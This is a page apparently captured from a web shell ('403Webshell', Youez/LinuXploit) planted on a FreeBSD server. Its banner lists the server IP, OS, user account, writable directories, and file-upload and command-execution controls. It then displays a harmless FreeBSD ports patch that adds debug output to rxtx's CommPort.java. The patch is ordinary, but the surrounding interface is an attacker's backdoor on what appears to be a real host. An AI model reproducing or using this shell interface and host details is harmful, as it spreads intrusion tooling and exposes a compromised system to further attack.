403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/comms/rxtx/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/comms/rxtx/files/patch-src-gnu-io-CommPort.java
--- src/gnu/io/CommPort.java.orig	2007-04-26 05:26:05 UTC
+++ src/gnu/io/CommPort.java
@@ -73,7 +73,7 @@ import java.io.IOException;
   */
 public abstract class CommPort extends Object {
 	protected String name;
-	private final static boolean debug = false;
+	private final static boolean debug = "true".equals( System.getProperty( "gnu.io.rxtx.DEBUG" ) );
 
 	public abstract void enableReceiveFraming( int f ) 
 		throws UnsupportedCommOperationException;
@@ -94,6 +94,7 @@ public abstract class CommPort extends O
 	public abstract int getInputBufferSize();
 	public abstract void setOutputBufferSize( int size );
 	public abstract int getOutputBufferSize();
+	
 	public void close() 
 	{
 		if (debug) System.out.println("CommPort:close()");
@@ -102,12 +103,23 @@ public abstract class CommPort extends O
 		{
 			CommPortIdentifier cp = 
 				CommPortIdentifier.getPortIdentifier(this);
-			if ( cp != null )
+				
+			if (cp != null)
+			{
+				
+				if (debug) System.out.println(" Not Null");
+				
 				cp.getPortIdentifier(this).internalClosePort();
+				
+			}
 		}
 		catch (NoSuchPortException e)
 		{
+			if (debug) System.out.println("CommPort:close(): No Such Port");
 		}
+		
+		if (debug) System.out.println("CommPort:close:Exit");
+		
 	};
 
 	public abstract InputStream getInputStream() throws IOException;

Youez - 2016 - github.com/yon3zu
LinuXploit